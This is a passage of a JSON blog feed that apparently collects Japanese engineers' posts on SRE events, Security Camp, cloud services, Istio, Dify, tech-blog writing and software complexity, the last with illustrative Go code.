タが見つかるし、私自身これからもっと勉強したいと思う。また、受講生やチューターとして参加している同世代のすごい人たちやセキュリティの第一線で活躍している講師の方や関係者の方を見て話すことができ、今年もとても刺激を受けることができた。講義資料自体は講師の方が公開されているものも多くある(Bクラスの講義に限らず)ため、講師の方と話したり、みんなで議論したりできることこそがセキュリティ・キャンプに参加することの一番のよさであると思う。セキュリティに興味がある人はもちろん、もっと広くコンピュータに興味がある人全員にセキュリティ・キャンプを勧めたい。昨年書いていたので、今年も書いておこうと思う。来年はネクストの受講生としてまた戻ってきたい。Bクラス ほかの方のブログhack.nikkei.comzenn.dev","isoDate":"2024-08-31T03:18:36.000Z","dateMiliSeconds":1725074316000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"SRETT#10 ~ 夏のSRE祭り!アーカイブ動画公開!","link":"https://shu-kob.hateblo.jp/entry/2024/08/30/230631","contentSnippet":"shu-kob.hateblo.jp2024年8月23日に弊社スリーシェイクのコミュニティ勉強会「SRETT #10 ~ 夏のSRE祭り!」が開催されました。www.youtube.comアーカイブ動画も公開されています!当日ご参加できなかった方もぜひご覧ください!自分は当日誘導係をやっていて、最初の菱田さんのセッション「SRE NEXT 2024 で形にしたバトンを渡せる仕組み」は最後のちょびっとだけしか聴けていないから、観ようかな。","isoDate":"2024-08-30T14:06:31.000Z","dateMiliSeconds":1725026791000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"オライリーのAWS生成AI本","link":"https://shu-kob.hateblo.jp/entry/2024/08/29/234143","contentSnippet":"AWSではじめる生成AI ―RAGアプリケーション開発から、基盤モデルの微調整、マルチモーダルAI活用までを試して学ぶ作者:Chris Fregly,Antje Barth,Shelbee EigenbrodeオライリージャパンAmazonそういや、オライリージャパンからAWSの生成AI本出てますね。欲しいと思いながらも買うてない。現状、自身の仕事のほとんどはGoogle cloudなので、AWS書籍どうしようかと思ってますが、面白そうなら買うてみるしか!翻訳はAWS Japanの久富木 隆一さん。AWSの中の人が翻訳しているので確かでしょうね!","isoDate":"2024-08-29T14:41:43.000Z","dateMiliSeconds":1724942503000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"GitLab Runnerによる簡易的なCICDの設計と実装","link":"https://sreake.com/blog/gitlab-runner-cicd/","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。普段は、情報系の大学院生で、数値解析に […]The post GitLab Runnerによる簡易的なCICDの設計と実装 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-08-29T05:34:28.000Z","dateMiliSeconds":1724909668000,"authorName":"Sreake","authorId":"Sreake"},{"title":"「SREをはじめよう」(Becoming SRE邦訳)が出版","link":"https://shu-kob.hateblo.jp/entry/2024/08/28/235736","contentSnippet":"SREをはじめよう ―個人と組織による信頼性獲得への第一歩作者:David N. Blank-EdelmanオライリージャパンAmazon「Becoming SRE」の邦訳である「SREをはじめよう」が2024/10/8オライリージャパンから発売されます!翻訳は、オライリーのSRE系の邦訳を数多く手掛けられてきた山口 能迪さん(Google所属)個人がSREになる、組織がSREになるという二面で書かれているようで、今からとても楽しみです!","isoDate":"2024-08-28T14:57:36.000Z","dateMiliSeconds":1724857056000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Google Cloud エンジニアおよび Google Cloud パートナー2社による生成AI利活用を進めるためのプロセス","link":"https://shu-kob.hateblo.jp/entry/2024/08/27/235840","contentSnippet":"pages.sreake.comイベントで登壇していました。ご参加くださった方はありがとうございました!良い評価をいただけたようで光栄です!今回、「生成AI利活用を進めるためのプロセス」というテーマだったので、普段私があまり話さないことも話せて新鮮でした。genai-users.connpass.com普段は、日本生成AIユーザ会でハンズオンをやっているように、具体的技術を話すことが多いので。今回とても良い経験になりました。今後も良い発表ができるよう精進していきます!","isoDate":"2024-08-27T14:58:40.000Z","dateMiliSeconds":1724770720000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"VPC Latticeについて","link":"https://zenn.dev/k_nagase/articles/vpc_lattice_basic","contentSnippet":"VPC LatticeとはVPC Latticeはサービス間を接続し、監視・通信の暗号化・認証認可などの機能を提供するサービスです。いわゆるLinkerdやIstioのようなサービスメッシュツールのようなイメージで利用できます。具体的には以下のような機能があります。サービス間通信における認証機能(IAM)アクセスログやメトリクスの収集などのモニタリングサービスディスカバリmTLS化ユーザ定義のカスタムドメインでの名前解決 ユースケース複数のプロダクトを各チームが個別にAWSアカウント単位またはVPC単位で管理しており、それらをメッシュ上に通信可能にするような...","isoDate":"2024-08-27T07:38:56.000Z","dateMiliSeconds":1724744336000,"authorName":"Kohei Nagase","authorId":"k-nagase"},{"title":"後継者不足のCOBOLを生成AIに引き継ぎ","link":"https://shu-kob.hateblo.jp/entry/2024/08/26/235854","contentSnippet":"www.itmedia.co.jpIT media AI+より。虚構新聞かと思いましたが(笑)、本当にようです。ベトナムの研究者が論文を出したのですね。日本でもCOBOLで書かれたシステムはまだまだ残っていますが、COBOL書けるエンジニアが高齢になってきて、後継者不足でもあります。海外もベトナムも同様なのですね。リプレイスしていくのも大事かと思いますが、全部のCOBOLシステムのリプレイスも難しいでしょうし、リプレイスしつつも、生成AIに書かせるのが現実解なのかもしれません。","isoDate":"2024-08-26T14:58:54.000Z","dateMiliSeconds":1724684334000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"テックブログを書く時にやっていること","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/26/210112","contentSnippet":"はじめにテックブログの執筆プロセスは、エンジニアの経験や知識を活用し、多様な情報源から価値ある内容を抽出し、読者にとって有益な形に整理する作業です。この過程では、自身の業務経験はもちろん、他のブログ記事や技術書籍など、幅広い情報を取り入れ、それらを咀嚼し、独自の視点で再構築します。この時に困難は伴いますが、同時に自身の考えを整理し、新たなアイデアを生み出す貴重な機会となります。 多くのエンジニアと同様に、私もブログのネタが自然に湧き出てくるタイプではありません。そこで、試行錯誤を重ねて確立した、効果的なブログ執筆方法を皆さんと共有したいと思います。この方法は、情報の収集から記事の執筆まで、段階的なアプローチを採用しています。各ステップを意識的に踏むことで、自分として納得できる記事を継続的に生み出すことが可能になります。以下に、私が日々実践しているプロセスを詳しく説明していきます。1. データ収集まずは、様々な源から幅広く情報を集めることから始めます。そして、実際に手を動かして経験を積みます。これらはすべて、潜在的なブログのネタになります。日々の業務で気づいたことをメモするデバッグ中に遭遇した興味深い問題や、その解決プロセスを詳細にメモしましょう。これらの経験は、他のエンジニアにとって貴重な学びとなる可能性があります。Slack、Notion、あるいは物理的なノートなど、自分に合った方法でメモを取る習慣をつけることが重要です。本を読みまくる技術書を定期的に読むことで、新しい知識や視点を得ることができます。読んだ本の要点や自分の見解をまとめることで、読者に価値ある情報を提供できます。月に1-2冊のペースで読書し、その内容を整理することをおすすめします。同僚との会話を大切にする昼食時や休憩時間の雑談でも、重要なトピックが浮上することがあります。例えば、マイクロサービスの課題について話し合った内容を、より深く掘り下げてブログ記事にすることができます。会話の中で出てきた興味深いポイントをメモする習慣をつけましょう。業界のニュースや記事を読む毎日30分程度、技術ブログやニュースをチェックする時間を設けましょう。最新のトレンドや技術動向をまとめた記事を定期的(例えば週1回)に書くことで、自身の知識も整理でき、読者にも価値を提供できます。実際に手を動かして試してみる興味のある新しいフレームワークやツールを使って、小規模なプロジェクトを作成してみましょう。この学習過程と気づきをステップバイステップで記事にまとめることで、読者に実践的な情報を提供できます。週末や空き時間を利用して、定期的に新しい技術に触れる機会を作りましょう。個人プロジェクトで開発する最近話題のツールや技術を自分のプロジェクトに組み込んでみましょう。この統合プロセスを詳細に記録し、遭遇した課題や解決策、得られた知見をブログ記事にまとめることで、読者に実用的な情報を提供できます。月に1つは新しい技術を個人プロジェクトに取り入れる目標を立てるのも良いでしょう。コードリーディングを習慣化するオープンソースのプロジェクトのコードを定期的に読むことで、優れた設計パターンや実装テクニックを学ぶことができます。興味深い発見があれば、それを解説する記事を書いてみましょう。週に1回、30分程度の時間をコードリーディングに充てることをおすすめします。2. データを創発させる集めたデータを基に新しい関連性を見出す創造のプロセスは、ブログ記事作成の核心部分です。既存の要素を新しく組み合わせることで、独自の洞察を生み出します。異なる分野の知識を結びつける人文科学や自然科学など、エンジニアリング以外の分野の本や記事を読むことで、新しい視点を得ることができます。例えば、心理学の概念をソフトウェアアーキテクチャの設計に応用するなど、意外な関連性を探求し、ブログ記事のユニークなテーマとして扱いましょう。月に1冊は異分野の本を読むことをおすすめします。原理原則に立ち返る様々なフレームワークや技術を比較分析する中で、それらの根底にある共通の設計原則や思想を見出すことができます。これらの普遍的な原則をブログの核心テーマとして扱うことで、読者に深い洞察を提供できます。技術書を読む際は、表面的な機能だけでなく、その背後にある設計思想にも注目しましょう。問題を抽象化するチームで直面した具体的な問題を一般化し、より広い文脈で捉え直すことで、多くのプロジェクトに適用できる普遍的な課題が見えてくることがあります。この抽象化された問題解決アプローチをブログにまとめることで、様々な状況に応用可能な知見を読者に提供できます。問題に直面したときは、「これは他のどんな場面でも起こりうるか?」と自問する習慣をつけましょう。技術のクロスオーバーを探す異なる技術領域や手法を組み合わせることで、新しいアイデアが生まれることがあります。例えば、機械学習の手法をWebアプリケーション開発に適用するなど、異分野の融合を探求し、そのアイデアをブログで提案してみましょう。週に1回、「今取り組んでいる技術は、他のどの分野と組み合わせられるか」を考える時間を設けるのも良いでしょう。3. 放置するこのステップが意外と大事です。わざとブログのアイデアを放置することで、無意識のうちに考えが熟成されます。完全に忘れるブログのアイデアをメモした後、意図的に1週間程度そのことを考えないようにします。この期間が経過した後に再度内容を見直すと、新鮮な目で客観的に評価できることがあります。Notionやトレロなどのツールを使って、アイデアを整理し、定期的に(例えば週1回)見直す時間を設けるのが効果的です。全く違う活動に没頭する技術的な思考から離れ、全く異なる活動に取り組むことで、思わぬインスピレーションを得ることがあります。例えば、自然の中でのアクティビティや芸術活動などに時間を費やしてみましょう。週末や休暇を利用して、定期的に技術以外の活動に没頭する時間を作ることをおすすめします。眠りにつく直前まで考え、そして手放す就寝前にブログの構成や内容について考えを巡らせ、その後意識的に手放すことで、睡眠中に無意識的な処理が行われることがあります。翌朝、新たな視点やアイデアが浮かんでくることも少なくありません。寝る前の15分間を「ブログアイデアタイム」として設定し、思考をノートに書き出してから眠るという習慣をつけてみましょう。4. もう一度考え続けてひらめきを待つアイデアを温めた後、再び記事の構想に取り組む時間です。この段階では、長期的な視点を持ちつつ、具体的な記事の形を模索します。過去のメモを読み返す1ヶ月以上前に書いたアウトラインや断片的なメモを見直すことで、当初気づかなかった重要なポイントが浮かび上がってくることがあります。これらの新たな気づきを記事の核心部分として活用しましょう。月に1回、過去のメモを整理し、再評価する時間を設けることをおすすめします。技術の未来を想像する現在の技術トレンドを分析し、5年後、10年後の技術の姿を想像してみましょう。この長期的な視点から現在の技術の使い方を解説することで、読者により価値のある洞察を提供できます。四半期に1回程度、技術の将来予測に関する記事を書くことを目標にしてみてください。複数の記事案を比較する同じテーマについて、異なるアプローチや切り口で3つ程度の記事案を考えてみましょう。それぞれの特徴を比較し、最も読者の役に立つと思われる方向性を選択します。この過程で、当初は思いもよらなかった新しい視点が生まれることもあります。記事を書く前に、必ず複数の構成案を作成し、それぞれのメリット・デメリットを評価する習慣をつけましょう。他の記事との差別化を考える同じトピックに関する既存の記事を徹底的に調査し、自分の経験や知識を活かして、どのような新しい視点や情報を提供できるかを考えます。他の記事にはない独自の切り口や、より深い洞察を加えることで、記事の価値を高めることができます。記事を書く前に、必ず競合する記事を5つ以上読み、それぞれの特徴をメモし、自分の記事の差別化ポイントを明確にしましょう。5. 出てきたアイデアの使い方を考えるいよいよ記事の具体的な構成を考える段階です。技術的な正確さを保ちつつ、読みやすく、実用的な内容にすることが重要です。同時に、記事の質を高め、読者との信頼関係を構築するために、以下の点に特に注意を払ってください。導入部分を工夫する読者の興味を引くために、記事の冒頭で技術が解決できる身近な問題や、その技術がもたらす具体的なメリットを提示します。例えば、「この技術を使うことで開発時間を30%削減できた」といった具体的な数字や、実際のユースケースを紹介することで、読者の関心を高めることができます。コードと説明のバランスを取る技術記事では、コード例と説明文のバランスが重要です。核となる概念を簡潔に説明した後、実際のコード例を示し、そのコードの各部分の詳細な解説を加えます。コードブロックは適度な長さに保ち、長すぎる場合は分割して説明を挟むことで、読者の理解を助けます。自分の経験を織り交ぜる技術の解説に加えて、その技術を実際のプロジェクトで使用した際の経験談を盛り込みます。直面した課題、試行錯誤のプロセス、最終的な解決策など、具体的なストーリーを共有することで、読者にとってより実践的で価値ある情報を提供できます。読者の疑問を予測する自分がその技術を学んだ時に抱いた疑問や、同僚から受けた質問などをリストアップし、それぞれに答える形で記事を構成します。FAQセクションを設けたり、「よくある間違い」といった項目を追加することで、読者の潜在的な疑問に先回りして答えることができます。根拠を示し、判断基準を明確にし、批判的思考を持つ強い主張や比較を行う際は、その根拠と判断基準を明確に示してください。「この方法が最善である」や「AよりBの方が優れている」と述べる場合、なぜそう考えるのか、どのような観点(パフォーマンス、可読性、学習曲線など)で判断したのかを詳細に説明してください。同時に、自説の限界や適用範囲も認識し、「この方法はすべての状況で最適というわけではありません」といった但し書きを加えることで、読者の批判的思考を促します。また、個人の意見や経験に基づく主張と、客観的な事実や統計データを明確に区別してください。「私の経験では...」や「一般的に言われているのは...」といった前置きを適切に使用することで、読者は情報の性質を正確に理解できます。まとめと次のステップを示す記事の最後には、主要ポイントの簡潔なまとめを提供するだけでなく、読者が次に取るべきアクションを具体的に提案します。例えば、その技術をさらに深く学ぶためのリソース、関連する技術やツール、次に挑戦すべき課題などを提示することで、読者の継続的な学習を促進します。さいごにテックブログの執筆は、私たちエンジニアにとって、単なる記事作成以上の意味を持つ活動のはずです。日々の経験や学びを整理し、深め、そして誰かと共有する機会として捉えることができます。完璧を目指すあまり執筆を躊躇するよりも、まずは自分自身が興味を持つテーマから書き始めることが大切だと私は考えています。 このアプローチは、読む人の役に立つかもしれないという期待とともに、執筆者自身の成長にもつながります。ブログを書く過程で、自分の考えを整理し、新たな視点を得られることもあります。それぞれのエンジニアの経験や視点は異なりますから、自分の言葉で記事を綴ることで、誰かにとって新しい気づきを提供できるかもしれません。日々の仕事や学習で得た知識や経験をブログにすることで、自分自身の中で新たな発見があったり、個人的な成長を感じたりすることがあります。また、読んでくれた人からのコメントや反応が、さらなる学びのきっかけになることもあります。最後に、読んでくださっている方々に伝えたいのは、あなたの経験や知識にも必ず誰かにとっての価値があるということです。 小さなことでも、誰かにとっては新しい発見や学びのきっかけになるかもしれません。ためらわずに書いてみることをお勧めします。テックブログの執筆を通じて、私たち一人一人が少しずつ学び、成長できたらいいなと思っています。あなたの書いた記事が、誰かの助けになるかもしれません。今日から始めてみるのはいかがでしょうか。各プロセスで生成AIを利用する際の注意点とか書こうと思ったんですけどもう良い時間なのでご飯に行きます。参考文献と言うか読んだ方がいい本この本は、テックブログのネタに困ったときというかアイデアが出ない時の救世主です。私はこの本から多大な影響を受けており、このブログで紹介した5つのステップもここから着想を得て実践しています。著者の主張する「新しいアイデアは既存の要素の新しい組み合わせ」という考え方は、肩の荷が下りるので本当に大切です(いつもはアイディアって言ってるんですけど今回はこの本に敬意を込めてアイデアとしてます)。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazonエンジニアとして文章を書くには「考える力」が不可欠です。この本は、その力を養うのに最適な一冊です。新版 思考の整理学 (ちくま文庫)作者:外山滋比古筑摩書房Amazonみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-08-26T12:01:12.000Z","dateMiliSeconds":1724673672000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"IstioのサイドカーコンテナをKubernetesのサイドカーコンテナ機能で起動する","link":"https://zenn.dev/k_nagase/articles/istio_native_sidecar","contentSnippet":"はじめにKubernetes v1.29からサイドカーコンテナ機能が実装されました。これはメインコンテナとは別にロギングやプロキシのような周辺機能を追加するための機能です。Istioでもネットワークプロキシとしてenvoyコンテナをメインコンテナとは別にインジェクションし、1つのPodに仕立て上げます。しかしこれには問題があり、Jobを起動した際にメインコンテナが正常終了した後でもenvoyが終了せずにPodが残り続けてしまうといった事象がありました。こういったIstio利用における問題点を解消するのにKubernetesネイティブなサイドカーコンテナ機能が役立ちます。以降...","isoDate":"2024-08-26T04:15:35.000Z","dateMiliSeconds":1724645735000,"authorName":"Kohei Nagase","authorId":"k-nagase"},{"title":"生成AIアプリケーション開発ノーコードフレームワークDify","link":"https://shu-kob.hateblo.jp/entry/2024/08/25/233704","contentSnippet":"dify.ai最近、Difyの話題をよく聞くので、軽くご紹介したいと思います。Difyとは? 生成AIアプリ開発を劇的に簡素化するプラットフォームDifyは、生成AIアプリケーションをノーコードで開発できる、非常に革新的なプラットフォームです。これまで、生成AIアプリの開発は、高度なプログラミングスキルを必要とし、専門エンジニアでなければ実現が難しいものでした。しかし、Difyの登場により、この状況が一変。非エンジニアでも、直感的な操作で複雑なAIアプリケーションを構築できるようになりました。Difyが選ばれる理由ノーコード開発: プログラミングの知識がなくても、ブロックを組み合わせるように視覚的にアプリを構築できます。RAG(Retrieval Augmented Generation)対応: 大規模言語モデル(LLM)と外部データソースを連携させ、より高度なAI機能を実現できます。オープンソース: プラットフォーム自体がオープンソースであり、自由にカスタマイズ・拡張できます。高機能: チャットボット、AIアシスタント、要約ツールなど、さまざまなタイプの生成AIアプリを開発可能です。企業との連携: 既存の企業システムとの連携もスムーズに行え、業務効率化に貢献します。Difyの主な特徴柔軟性: AIプロセスを自由に組み合わせて、柔軟なアプリケーションを開発できます。統合性: 既存のシステムとの連携が容易で、企業内の既存のデータやシステムと統合できます。監視性: 実行時の状況を監視し、AIモデルの性能を継続的に改善できます。スケーラビリティ: 需要に応じて、簡単にシステムを拡張できます。Difyでできることチャットボットの開発: 自然な会話ができるチャットボットを簡単に作成できます。AIアシスタントの開発: 顧客対応や業務支援を行うAIアシスタントを開発できます。文書の自動生成: レポートや記事などを自動生成できます。データ分析: 大量のデータを分析し、有益な情報を抽出できます。Difyが注目される理由生成AIの民主化: 生成AIの技術を、より多くの人々に開放し、AIの活用範囲を広げます。開発コストの削減: 高度なエンジニアを雇用する必要がなく、開発コストを大幅に削減できます。開発期間の短縮: ノーコード開発により、開発期間を大幅に短縮できます。まとめDifyは、生成AIの開発を劇的に簡素化するプラットフォームです。非エンジニアでも、高度なAIアプリケーションを開発できるため、生成AIの活用範囲が大きく広がることが期待されています。もし、生成AIに興味があり、独自のアプリケーションを開発したいと考えているのであれば、Difyは非常に魅力的な選択肢と言えるでしょう。さらに詳しく知りたい方へDify公式サイト: https://dify.ai/jpDifyの始め方(非エンジニアでも生成AIアプリが作れる最強ツール): https://zenn.dev/en2enzo2/articles/824877e1099508Difyは、生成AIの分野で注目を集めているプラットフォームです。ぜひ、この機会にDifyについて詳しく調べてみてください。何か他に知りたいことがあれば、お気軽にご質問ください。","isoDate":"2024-08-25T14:37:04.000Z","dateMiliSeconds":1724596624000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"この世の中に溢れているので自分が発言する必要はないが「ソフトウェアは認知の限界まで複雑になる」を自分なりに再考する","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/25/142213","contentSnippet":"人間が何もしないと病気になるのと同じように、ソフトウェアも何もしないと複雑になる。はじめにソフトウェア開発の世界に飛び込んでから、「ソフトウェアは認知の限界まで複雑になる」という言葉を耳にしたとき、正直なところ、「ほへー」って思いながら何も理解していませんでした。しかし、大規模なシステムに携わるようになって、その言葉の重みを身をもって感じるようになりました。内部構造や相互作用が複雑化し、全体を把握するのが難しくなっていく。それは挑戦であると同時に、私たち開発者の存在意義を問いかけるものでもあります。A Philosophy of Software Design, 2nd Edition (English Edition)作者:Ousterhout, John K. Amazonこの複雑性との闘いは、時に苦しいものです。でも、それを乗り越えたときの喜びは何物にも代えがたい。私たちの理解力の限界に挑戦し続けることで、成長の機会を得られるのかもしれません。また、絶対的な正解が存在しないことも認識することが重要です。それぞれの組織や開発チームにとっての最適解は異なるため、継続的に自分たちの状況を評価し、最適なアプローチを探り続ける必要があります。この過程では、チームメンバー間のオープンなコミュニケーションと実験的な姿勢が鍵となります。時には失敗することもありますが、そこから学びを得て前進することで、長期的には組織全体の能力向上につながるでしょう。 speakerdeck.comなお、この概念は広く知られており、多くの議論がなされています。しかし、自分なりに再考することには大きな意義があります。なぜなら、個人の経験や視点を通じて理解を深めることで、この普遍的な課題に対する新たな洞察や独自のアプローチを見出せる可能性があるからです。また、自分の言葉で表現し直すことで、チーム内での議論を促進し、共通理解を深める機会にもなります。さらに、技術の進化や開発手法の変化に伴い、この概念の意味や影響も変化しているかもしれません。そのため、現代のコンテキストにおいてこの概念を再評価することは、ソフトウェア開発の未来を考える上で重要なのです。正直なところ、このブログに書いていることは完全に自己満足かもしれません。しかし、この自己満足的な行為を通じて、私自身の理解を深め、そして少しでも他の人の考えるきっかけになれば、それはそれで価値があるのではないでしょうか。個人的には「Good Code, Bad Code ~持続可能な開発のためのソフトウェアエンジニア的思考」や「ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール」も良かったのです。資料としては「複雑さに立ち向かうためのコードリーディング入門」や「オブジェクト指向のその前に-凝集度と結合度/Coheision-Coupling」も合わせてオススメです。複雑性の源泉ソフトウェアの複雑性は様々な要因から生まれます。機能の増加:全ての機能は最初から分かってるわけでなくユーザーの要求に応えるため、次々と新機能が追加されていく。レガシーコードの蓄積:古いコードが新しいコードと共存し、相互作用する。技術的負債:短期的な解決策が長期的な複雑性を生み出す。外部依存関係:サードパーティライブラリやAPIの統合が複雑性を増す。スケーラビリティ要件:大規模なデータや高いトラフィックに対応するための設計が複雑さを増す。これらの要因が相互に作用し合い、ソフトウェアシステムは徐々に、そして時には急激に複雑化していきます。複雑性の影響過度の複雑性は、ソフトウェア開発プロセス全体に深刻な影響を及ぼします。開発速度の低下:新機能の実装や既存機能の修正に時間がかかるようになる。バグの増加:複雑なシステムほど、予期せぬ相互作用やエッジケースが発生しやすい。メンテナンス性の低下:コードベースの理解が困難になり、変更のリスクが高まる。オンボーディングの難化:新しいチームメンバーが全体を把握するまでの時間が長くなる。イノベーションの阻害:既存システムの制約が新しいアイデアの実現を妨げる。複雑性との共存完全に複雑性を排除することは不可能ですが、以下の戦略を通じて管理することは可能です。モジュール化:システムを独立した、理解しやすいコンポーネントに分割する。抽象化:詳細を隠蔽し、高レベルの概念を通じてシステムを理解・操作できるようにする。設計パターンの活用:一般的な問題に対する標準的な解決策を適用する。継続的なリファクタリング:定期的にコードを見直し、改善する。適切な文書化:システムの構造や意思決定の理由を明確に記録する。マイクロサービスアーキテクチャの採用は、大規模なモノリシックシステムの複雑性を管理するための一つのアプローチです。しかし、これは単に銀の弾丸ではなく複雑性の性質を変えるだけで、新たな形の複雑性(例えば、サービス間通信やデータ一貫性の管理)をもたらす可能性があります。そのため、アーキテクチャの選択は慎重に行い、トレードオフを十分に考慮する必要があります。マイクロサービスアーキテクチャ 第2版作者:Sam Newmanオーム社Amazon複雑性と認知負荷ソフトウェアの複雑性は、開発者の認知負荷と密接に関連しています。人間の脳には情報処理能力の限界があり、この限界を超えると効率的な問題解決や創造的思考が困難になります。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon複雑なソフトウェアシステムは、以下の方法で開発者の認知負荷を増大させます。同時に考慮すべき要素の増加複雑な相互依存関係の理解抽象化レベルの頻繁な切り替え長期記憶と作業記憶の継続的な活用これらの要因により、開発者は「認知の限界」に達し、それ以上の複雑性を効果的に管理することが困難になります。以下は、複雑性が増大したコードの例です。// ComplexSystem は、システム全体の複雑性を体現する構造体です。// 複雑性の要因:多数の依存関係、状態管理、イベント処理、設定管理の組み合わせtype ComplexSystem struct { components map[string]Component // 動的に管理される多数のコンポーネント interactions map[string][]string // コンポーネント間の複雑な相互作用を表現 stateManager *StateManager // 全体の状態を管理する複雑なロジック eventBus *EventBus // 非同期イベント処理による複雑性 configProvider ConfigProvider // 動的な設定変更による複雑性 logger Logger // 複数の場所でのロギングによる情報の分散 cache *Cache // パフォーマンス最適化のための追加レイヤー metrics *MetricsCollector // システム監視のための追加の複雑性 errorHandler ErrorHandler // カスタムエラーハンドリングによる複雑性 scheduler *Scheduler // 非同期タスクスケジューリングによる複雑性}// ProcessEvent は、イベント処理の複雑性を示す関数です。// 複雑性の要因:多段階の処理、エラーハンドリング、状態更新、非同期処理の組み合わせfunc (cs *ComplexSystem) ProcessEvent(event Event) error { cs.metrics.IncrementEventCounter(event.Type) // メトリクス収集による複雑性 cs.logger.Log(\\"Processing event: \\" + event.Name) // キャッシュチェックによる条件分岐の増加 if cachedResult, found := cs.cache.Get(event.ID); found { cs.logger.Log(\\"Cache hit for event: \\" + event.ID) return cs.handleCachedResult(cachedResult) } // 複雑な依存関係の解決 affectedComponents := cs.resolveAffectedComponents(event) // ゴルーチンを使用した並行処理による複雑性の増加 resultChan := make(chan ComponentResult, len(affectedComponents)) for _, componentID := range affectedComponents { go cs.processComponentAsync(componentID, event, resultChan) } // 非同期処理結果の収集と統合 for i := 0; i < len(affectedComponents); i++ { result := <-resultChan if result.Error != nil { cs.errorHandler.HandleError(result.Error) return result.Error } cs.updateSystemState(result) } // 動的設定に基づく条件付き処理 config := cs.configProvider.GetConfig() if config.EnablePostProcessing { if err := cs.performPostProcessing(event); err != nil { cs.logger.Error(\\"Error in post-processing: \\" + err.Error()) return cs.errorHandler.WrapError(err, \\"PostProcessingFailed\\") } } // イベントバスを使用した非同期通知 cs.eventBus.Publish(NewStateChangedEvent(event.ID, cs.stateManager.GetCurrentState())) // 次のスケジュールされたタスクのトリガー cs.scheduler.TriggerNextTask() cs.logger.Log(\\"Event processed successfully\\") return nil}// processComponentAsync は、個別のコンポーネント処理を非同期で行う関数です。// 複雑性の要因:ゴルーチン内での処理、エラーハンドリング、状態更新の組み合わせfunc (cs *ComplexSystem) processComponentAsync(componentID string, event Event, resultChan chan<- ComponentResult) { component, exists := cs.components[componentID] if !exists { resultChan <- ComponentResult{Error: fmt.Errorf(\\"component not found: %s\\", componentID)} return } newState, err := component.HandleEvent(event) if err != nil { resultChan <- ComponentResult{Error: cs.errorHandler.WrapError(err, \\"ComponentProcessingFailed\\")} return } cs.stateManager.UpdateState(componentID, newState) resultChan <- ComponentResult{ID: componentID, State: newState}}// performPostProcessing は、イベント処理後の追加処理を行う関数です。// 複雑性の要因:条件分岐、エラーハンドリング、外部サービス呼び出しの組み合わせfunc (cs *ComplexSystem) performPostProcessing(event Event) error { // 複雑な条件分岐 switch event.Type { case \\"TypeA\\": // 外部サービス呼び出し if err := cs.externalServiceA.Process(event); err != nil { return cs.errorHandler.WrapError(err, \\"ExternalServiceAFailed\\") } case \\"TypeB\\": // データ変換と検証 transformedData, err := cs.dataTransformer.Transform(event.Data) if err != nil { return cs.errorHandler.WrapError(err, \\"DataTransformationFailed\\") } if !cs.dataValidator.Validate(transformedData) { return cs.errorHandler.NewError(\\"InvalidTransformedData\\") } // さらなる処理... default: // デフォルトの複雑な処理ロジック // ... } // メトリクス更新 cs.metrics.IncrementPostProcessingCounter(event.Type) return nil}このコードは、多層の依存関係、複雑な状態管理、非同期イベント処理、動的設定、並行処理、多重エラーハンドリング、クロスカッティングコンサーンなどを含む極度に複雑なシステムを表現しており、その全体を理解し効果的に管理するには開発者の認知能力を大きく超える負荷が必要となります。この複雑性に対処するため、システムを小さな独立したサービスに分割し、各コンポーネントの責務を明確に定義することで、全体の理解と管理を容易にすることができます。以下は、そのアプローチを示す簡略化したサンプルです。// EventProcessor は、イベント処理の主要なインターフェースを定義します。type EventProcessor interface { ProcessEvent(event Event) error}// SimpleEventProcessor は、EventProcessor の基本的な実装です。type SimpleEventProcessor struct { logger Logger repository Repository publisher EventPublisher}// NewSimpleEventProcessor は、SimpleEventProcessor の新しいインスタンスを作成します。func NewSimpleEventProcessor(logger Logger, repository Repository, publisher EventPublisher) *SimpleEventProcessor { return &SimpleEventProcessor{ logger: logger, repository: repository, publisher: publisher, }}// ProcessEvent は、単一のイベントを処理します。func (p *SimpleEventProcessor) ProcessEvent(event Event) error { p.logger.Info(\\"Processing event\\", \\"id\\", event.ID, \\"type\\", event.Type) if err := event.Validate(); err != nil { return fmt.Errorf(\\"invalid event: %w\\", err) } result, err := p.repository.Store(event) if err != nil { return fmt.Errorf(\\"failed to store event: %w\\", err) } if err := p.publisher.Publish(result); err != nil { p.logger.Error(\\"Failed to publish result\\", \\"error\\", err) } p.logger.Info(\\"Event processed successfully\\", \\"id\\", event.ID) return nil}このアプローチにより、システムの複雑性が大幅に低減され、各コンポーネントの役割が明確になり、開発者の認知負荷が軽減されます。結果として、(組織や人によっては)コードの理解、保守、拡張が容易になり、長期的なシステムの健全性が向上します。複雑性のパラドックス興味深いことに、ソフトウェアの複雑性には一種のパラドックスのような構造が存在します。それはシステムを単純化しようとする試みが、かえって複雑性を増大させることがあるのです。例えば:抽象化の過剰:過度に抽象化されたシステムは、具体的な実装の理解を困難にする。過度な一般化:あらゆるケースに対応しようとすることで、システムが不必要に複雑になる。新技術の導入:複雑性を減らすために導入された新技術が、学習コストや統合の複雑さを増す。以下は、過度な抽象化の例です:type AbstractFactory interface { CreateProduct() Product ConfigureProduct(Product) error ValidateProduct(Product) bool}type ConcreteFactory struct { config Config validator Validator decorator Decorator}func (f *ConcreteFactory) CreateProduct() Product { // Complex creation logic return nil}func (f *ConcreteFactory) ConfigureProduct(p Product) error { // Complex configuration logic return nil}func (f *ConcreteFactory) ValidateProduct(p Product) bool { // Complex 